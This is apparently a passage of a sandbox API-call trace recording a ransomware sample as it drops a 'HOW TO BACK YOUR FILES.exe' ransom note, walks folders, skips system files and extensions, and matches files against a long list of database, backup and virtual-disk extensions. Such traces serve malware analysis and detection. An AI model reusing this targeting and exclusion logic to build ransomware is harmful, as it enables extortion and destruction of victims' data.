	[0078.921] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es"
	[0078.921] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0078.921] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0078.922] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es") returned 71
	[0078.922] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es"
	[0078.922] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0078.922] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0078.925] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0078.925] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x471e4010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x471e4010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca110
	[0078.926] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.926] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0078.926] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0078.926] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x471e4010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x471e4010, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.926] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0078.926] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0078.926] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0078.926] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0078.926] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x471e4010, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x471e4010, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0078.926] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0078.926] FindNextFileW (in: hFindFile=0x5ca110, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1
	[0078.926] lstrcmpiW (lpString1="Proof.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0078.926] lstrcmpiW (lpString1="Proof.cab", lpString2="Apollon865.txt.exe") returned 1
	[0078.926] lstrcmpiW (lpString1="Proof.cab", lpString2=".") returned 1
	[0078.926] lstrcmpiW (lpString1="Proof.cab", lpString2="..") returned 1
	[0078.926] lstrcmpiW (lpString1="Proof.cab", lpString2="windows") returned -1
	[0078.926] lstrcmpiW (lpString1="Proof.cab", lpString2="bootmgr") returned 1
	[0078.926] lstrcmpiW (lpString1="Proof.cab", lpString2="temp") returned -1
	[0078.926] lstrcmpiW (lpString1="Proof.cab", lpString2="pagefile.sys") returned 1
	[0078.926] lstrcmpiW (lpString1="Proof.cab", lpString2="boot") returned 1
	[0078.926] lstrcmpiW (lpString1="Proof.cab", lpString2="ids.txt") returned 1
	[0078.926] lstrcmpiW (lpString1="Proof.cab", lpString2="ntuser.dat") returned 1
	[0078.926] lstrcmpiW (lpString1="Proof.cab", lpString2="perflogs") returned 1
	[0078.926] lstrcmpiW (lpString1="Proof.cab", lpString2="MSBuild") returned 1
	[0078.926] lstrlenW (lpString="Proof.cab") returned 9
	[0078.926] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*") returned 73
	[0078.926] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="Proof.cab" | out: lpString1="Proof.cab") returned="Proof.cab"
	[0078.926] lstrlenW (lpString="Proof.cab") returned 9
	[0078.926] lstrlenW (lpString="Apollon865") returned 10
	[0078.926] lstrlenW (lpString=".dll") returned 4
	[0078.926] lstrcmpiW (lpString1="Proof.cab", lpString2=".dll") returned 1
	[0078.926] lstrlenW (lpString=".lnk") returned 4
	[0078.926] lstrcmpiW (lpString1="Proof.cab", lpString2=".lnk") returned 1
	[0078.926] lstrlenW (lpString=".ini") returned 4
	[0078.927] lstrcmpiW (lpString1="Proof.cab", lpString2=".ini") returned 1
	[0078.927] lstrlenW (lpString=".sys") returned 4
	[0078.927] lstrcmpiW (lpString1="Proof.cab", lpString2=".sys") returned 1
	[0078.927] lstrlenW (lpString="Proof.cab") returned 9
	[0078.927] lstrlenW (lpString="bak") returned 3
	[0078.927] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0078.927] lstrlenW (lpString="ba_") returned 3
	[0078.927] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0078.927] lstrlenW (lpString="dbb") returned 3
	[0078.927] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0078.927] lstrlenW (lpString="vmdk") returned 4
	[0078.927] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0078.927] lstrlenW (lpString="rar") returned 3
	[0078.927] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0078.927] lstrlenW (lpString="zip") returned 3
	[0078.927] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0078.927] lstrlenW (lpString="tgz") returned 3
	[0078.927] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0078.927] lstrlenW (lpString="vbox") returned 4
	[0078.927] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0078.927] lstrlenW (lpString="vdi") returned 3
	[0078.927] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0078.927] lstrlenW (lpString="vhd") returned 3
	[0078.927] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0078.927] lstrlenW (lpString="vhdx") returned 4
	[0078.927] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0078.927] lstrlenW (lpString="avhd") returned 4
	[0078.927] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0078.927] lstrlenW (lpString="db") returned 2
	[0078.927] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0078.927] lstrlenW (lpString="db2") returned 3
	[0078.927] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0078.927] lstrlenW (lpString="db3") returned 3
	[0078.927] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0078.927] lstrlenW (lpString="dbf") returned 3
	[0078.927] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0078.927] lstrlenW (lpString="mdf") returned 3
	[0078.927] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0078.928] lstrlenW (lpString="mdb") returned 3
	[0078.928] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0078.928] lstrlenW (lpString="sql") returned 3
	[0078.928] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0078.928] lstrlenW (lpString="sqlite") returned 6
	[0078.928] lstrcmpiW (lpString1="of.cab", lpString2="sqlite") returned -1
	[0078.928] lstrlenW (lpString="sqlite3") returned 7
	[0078.928] lstrcmpiW (lpString1="oof.cab", lpString2="sqlite3") returned -1
	[0078.928] lstrlenW (lpString="sqlitedb") returned 8
	[0078.928] lstrcmpiW (lpString1="roof.cab", lpString2="sqlitedb") returned -1
	[0078.928] lstrlenW (lpString="xml") returned 3
	[0078.928] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0078.928] lstrlenW (lpString="$er") returned 3
	[0078.928] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0078.928] lstrlenW (lpString="4dd") returned 3
	[0078.928] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0078.928] lstrlenW (lpString="4dl") returned 3
	[0078.928] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0078.928] lstrlenW (lpString="^^^") returned 3
	[0078.928] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0078.928] lstrlenW (lpString="abs") returned 3
	[0078.928] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0078.928] lstrlenW (lpString="abx") returned 3
	[0078.928] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0078.928] lstrlenW (lpString="accdb") returned 5
	[0078.928] lstrcmpiW (lpString1="f.cab", lpString2="accdb") returned 1
	[0078.928] lstrlenW (lpString="accdc") returned 5
	[0078.928] lstrcmpiW (lpString1="f.cab", lpString2="accdc") returned 1
	[0078.928] lstrlenW (lpString="accde") returned 5
	[0078.928] lstrcmpiW (lpString1="f.cab", lpString2="accde") returned 1
	[0078.928] lstrlenW (lpString="accdr") returned 5
	[0078.928] lstrcmpiW (lpString1="f.cab", lpString2="accdr") returned 1
	[0078.928] lstrlenW (lpString="accdt") returned 5
	[0078.928] lstrcmpiW (lpString1="f.cab", lpString2="accdt") returned 1
	[0078.928] lstrlenW (lpString="accdw") returned 5
	[0078.928] lstrcmpiW (lpString1="f.cab", lpString2="accdw") returned 1
	[0078.928] lstrlenW (lpString="accft") returned 5
	[0078.928] lstrcmpiW (lpString1="f.cab", lpString2="accft") returned 1
	[0078.929] lstrlenW (lpString="adb") returned 3
	[0078.929] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0078.929] lstrlenW (lpString="adb") returned 3
	[0078.929] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0078.929] lstrlenW (lpString="ade") returned 3
	[0078.929] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0078.929] lstrlenW (lpString="adf") returned 3
	[0078.929] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0078.929] lstrlenW (lpString="adn") returned 3
	[0078.929] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0078.929] lstrlenW (lpString="adp") returned 3
	[0078.929] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0078.929] lstrlenW (lpString="alf") returned 3
	[0078.929] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0078.929] lstrlenW (lpString="ask") returned 3
	[0078.929] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0078.929] lstrlenW (lpString="btr") returned 3
	[0078.929] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0078.929] lstrlenW (lpString="cat") returned 3
	[0078.929] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0078.929] lstrlenW (lpString="cdb") returned 3
	[0078.929] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0078.929] lstrlenW (lpString="ckp") returned 3
	[0078.929] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0078.929] lstrlenW (lpString="cma") returned 3
	[0078.929] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0078.929] lstrlenW (lpString="cpd") returned 3
	[0078.929] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0078.929] lstrlenW (lpString="dacpac") returned 6
	[0078.929] lstrcmpiW (lpString1="of.cab", lpString2="dacpac") returned 1
	[0078.929] lstrlenW (lpString="dad") returned 3
	[0078.929] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0078.929] lstrlenW (lpString="dadiagrams") returned 10
	[0078.929] lstrlenW (lpString="daschema") returned 8
	[0078.929] lstrcmpiW (lpString1="roof.cab", lpString2="daschema") returned 1
	[0078.929] lstrlenW (lpString="db-journal") returned 10
	[0078.929] lstrlenW (lpString="db-shm") returned 6
	[0078.929] lstrcmpiW (lpString1="of.cab", lpString2="db-shm") returned 1
	[0078.930] lstrlenW (lpString="db-wal") returned 6
	[0078.930] lstrcmpiW (lpString1="of.cab", lpString2="db-wal") returned 1
	[0078.930] lstrlenW (lpString="dbc") returned 3
	[0078.930] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0078.930] lstrlenW (lpString="dbs") returned 3
	[0078.930] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0078.930] lstrlenW (lpString="dbt") returned 3
	[0078.930] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0078.930] lstrlenW (lpString="dbv") returned 3
	[0078.930] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0078.930] lstrlenW (lpString="dbx") returned 3
	[0078.930] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0078.930] lstrlenW (lpString="dcb") returned 3
	[0078.930] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0078.930] lstrlenW (lpString="dct") returned 3
	[0078.930] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0078.930] lstrlenW (lpString="dcx") returned 3
	[0078.930] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0078.930] lstrlenW (lpString="ddl") returned 3
	[0078.930] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0078.930] lstrlenW (lpString="dlis") returned 4
	[0078.930] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0078.930] lstrlenW (lpString="dp1") returned 3
	[0078.930] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0078.930] lstrlenW (lpString="dqy") returned 3
	[0078.930] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0078.930] lstrlenW (lpString="dsk") returned 3
	[0078.930] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0078.930] lstrlenW (lpString="dsn") returned 3
	[0078.930] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0078.930] lstrlenW (lpString="dtsx") returned 4
	[0078.930] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0078.930] lstrlenW (lpString="dxl") returned 3
	[0078.930] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0078.930] lstrlenW (lpString="eco") returned 3
	[0078.930] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0078.930] lstrlenW (lpString="ecx") returned 3
	[0078.930] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0078.931] lstrlenW (lpString="edb") returned 3
	[0078.931] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0078.931] lstrlenW (lpString="epim") returned 4
	[0078.931] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0078.931] lstrlenW (lpString="fcd") returned 3
	[0078.931] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0078.931] lstrlenW (lpString="fdb") returned 3
	[0078.931] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0078.931] lstrlenW (lpString="fic") returned 3
	[0078.931] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0078.931] lstrlenW (lpString="flexolibrary") returned 12
	[0078.931] lstrlenW (lpString="fm5") returned 3
	[0078.931] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0078.931] lstrlenW (lpString="fmp") returned 3
	[0078.931] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0078.931] lstrlenW (lpString="fmp12") returned 5
	[0078.931] lstrcmpiW (lpString1="f.cab", lpString2="fmp12") returned -1
	[0078.931] lstrlenW (lpString="fmpsl") returned 5
	[0078.931] lstrcmpiW (lpString1="f.cab", lpString2="fmpsl") returned -1
	[0078.931] lstrlenW (lpString="fol") returned 3
	[0078.931] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0078.931] lstrlenW (lpString="fp3") returned 3
	[0078.931] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0078.931] lstrlenW (lpString="fp4") returned 3
	[0078.931] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0078.931] lstrlenW (lpString="fp5") returned 3
	[0078.931] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0078.931] lstrlenW (lpString="fp7") returned 3
	[0078.931] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0078.931] lstrlenW (lpString="fpt") returned 3
	[0078.931] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0078.931] lstrlenW (lpString="frm") returned 3
	[0078.931] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0078.931] lstrlenW (lpString="gdb") returned 3
	[0078.931] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0078.931] lstrlenW (lpString="gdb") returned 3
	[0078.931] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0078.931] lstrlenW (lpString="grdb") returned 4
	[0078.932] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0078.932] lstrlenW (lpString="gwi") returned 3
	[0078.932] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0078.932] lstrlenW (lpString="hdb") returned 3
	[0078.932] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0078.932] lstrlenW (lpString="his") returned 3
	[0078.932] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0078.932] lstrlenW (lpString="ib") returned 2
	[0078.932] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0078.932] lstrlenW (lpString="idb") returned 3
	[0078.932] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0078.932] lstrlenW (lpString="ihx") returned 3
	[0078.932] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0078.932] lstrlenW (lpString="itdb") returned 4
	[0078.932] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0078.932] lstrlenW (lpString="itw") returned 3
	[0078.932] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0078.932] lstrlenW (lpString="jet") returned 3
	[0078.932] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0078.932] lstrlenW (lpString="jtx") returned 3
	[0078.932] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0078.932] lstrlenW (lpString="kdb") returned 3
	[0078.932] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0078.932] lstrlenW (lpString="kexi") returned 4
	[0078.932] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0078.932] lstrlenW (lpString="kexic") returned 5
	[0078.932] lstrcmpiW (lpString1="f.cab", lpString2="kexic") returned -1
	[0078.932] lstrlenW (lpString="kexis") returned 5
	[0078.932] lstrcmpiW (lpString1="f.cab", lpString2="kexis") returned -1
	[0078.932] lstrlenW (lpString="lgc") returned 3
	[0078.932] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0078.932] lstrlenW (lpString="lwx") returned 3
	[0078.932] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0078.932] lstrlenW (lpString="maf") returned 3
	[0078.932] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0078.932] lstrlenW (lpString="maq") returned 3
	[0078.932] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0078.932] lstrlenW (lpString="mar") returned 3
	[0078.933] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0078.933] lstrlenW (lpString="marshal") returned 7
	[0078.933] lstrcmpiW (lpString1="oof.cab", lpString2="marshal") returned 1
	[0078.933] lstrlenW (lpString="mas") returned 3
	[0078.933] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0078.933] lstrlenW (lpString="mav") returned 3
	[0078.933] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0078.933] lstrlenW (lpString="maw") returned 3
	[0078.933] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0078.933] lstrlenW (lpString="mdbhtml") returned 7
	[0078.933] lstrcmpiW (lpString1="oof.cab", lpString2="mdbhtml") returned 1
	[0078.933] lstrlenW (lpString="mdn") returned 3
	[0078.933] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0078.933] lstrlenW (lpString="mdt") returned 3
	[0078.933] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0078.933] lstrlenW (lpString="mfd") returned 3
	[0078.933] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0078.933] lstrlenW (lpString="mpd") returned 3
	[0078.933] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0078.933] lstrlenW (lpString="mrg") returned 3
	[0078.933] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0078.933] lstrlenW (lpString="mud") returned 3
	[0078.933] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0078.933] lstrlenW (lpString="mwb") returned 3
	[0078.933] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0078.933] lstrlenW (lpString="myd") returned 3
	[0078.933] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0078.933] lstrlenW (lpString="ndf") returned 3
	[0078.933] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0078.933] lstrlenW (lpString="nnt") returned 3
	[0078.933] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0078.933] lstrlenW (lpString="nrmlib") returned 6
	[0078.933] lstrcmpiW (lpString1="of.cab", lpString2="nrmlib") returned 1
	[0078.933] lstrlenW (lpString="ns2") returned 3
	[0078.933] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0078.933] lstrlenW (lpString="ns3") returned 3
	[0078.933] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0078.933] lstrlenW (lpString="ns4") returned 3
	[0078.934] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0078.934] lstrlenW (lpString="nsf") returned 3
	[0078.934] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0078.934] lstrlenW (lpString="nv") returned 2
	[0078.934] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0078.934] lstrlenW (lpString="nv2") returned 3
	[0078.934] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0078.934] lstrlenW (lpString="nwdb") returned 4
	[0078.934] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0078.934] lstrlenW (lpString="nyf") returned 3
	[0078.934] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0078.934] lstrlenW (lpString="odb") returned 3
	[0078.934] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0078.934] lstrlenW (lpString="odb") returned 3
	[0078.934] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0078.934] lstrlenW (lpString="oqy") returned 3
	[0078.934] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0078.934] lstrlenW (lpString="ora") returned 3
	[0078.934] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0078.934] lstrlenW (lpString="orx") returned 3
	[0078.934] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0078.934] lstrlenW (lpString="owc") returned 3
	[0078.934] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0078.934] lstrlenW (lpString="p96") returned 3
	[0078.934] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0078.934] lstrlenW (lpString="p97") returned 3
	[0078.934] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0078.934] lstrlenW (lpString="pan") returned 3
	[0078.934] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0078.934] lstrlenW (lpString="pdb") returned 3
	[0078.934] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0078.934] lstrlenW (lpString="pdm") returned 3
	[0078.934] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0078.934] lstrlenW (lpString="pnz") returned 3
	[0078.934] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0078.934] lstrlenW (lpString="qry") returned 3
	[0078.935] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0078.935] lstrlenW (lpString="qvd") returned 3
	[0078.935] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0078.935] lstrlenW (lpString="rbf") returned 3
	[0078.935] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0078.935] lstrlenW (lpString="rctd") returned 4
	[0078.935] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0078.935] lstrlenW (lpString="rod") returned 3
	[0078.935] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0078.935] lstrlenW (lpString="rodx") returned 4
	[0078.935] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0078.935] lstrlenW (lpString="rpd") returned 3
	[0078.935] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0078.935] lstrlenW (lpString="rsd") returned 3
	[0078.935] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0078.935] lstrlenW (lpString="sas7bdat") returned 8
	[0078.935] lstrcmpiW (lpString1="roof.cab", lpString2="sas7bdat") returned -1
	[0078.935] lstrlenW (lpString="sbf") returned 3
	[0078.935] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0078.935] lstrlenW (lpString="scx") returned 3
	[0078.935] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0078.935] lstrlenW (lpString="sdb") returned 3
	[0078.935] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0078.935] lstrlenW (lpString="sdc") returned 3
	[0078.935] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0078.935] lstrlenW (lpString="sdf") returned 3
	[0078.935] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0078.935] lstrlenW (lpString="sis") returned 3
	[0078.935] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0078.935] lstrlenW (lpString="spq") returned 3
	[0078.935] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0078.935] lstrlenW (lpString="te") returned 2
	[0078.935] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0078.935] lstrlenW (lpString="teacher") returned 7
	[0078.935] lstrcmpiW (lpString1="oof.cab", lpString2="teacher") returned -1
	[0078.935] lstrlenW (lpString="tmd") returned 3
	[0078.935] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0078.935] lstrlenW (lpString="tps") returned 3
	[0078.936] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0078.936] lstrlenW (lpString="trc") returned 3
	[0078.936] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0078.936] lstrlenW (lpString="trc") returned 3
	[0078.936] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0078.936] lstrlenW (lpString="trm") returned 3
	[0078.936] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0078.936] lstrlenW (lpString="udb") returned 3
	[0078.936] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0078.936] lstrlenW (lpString="udl") returned 3
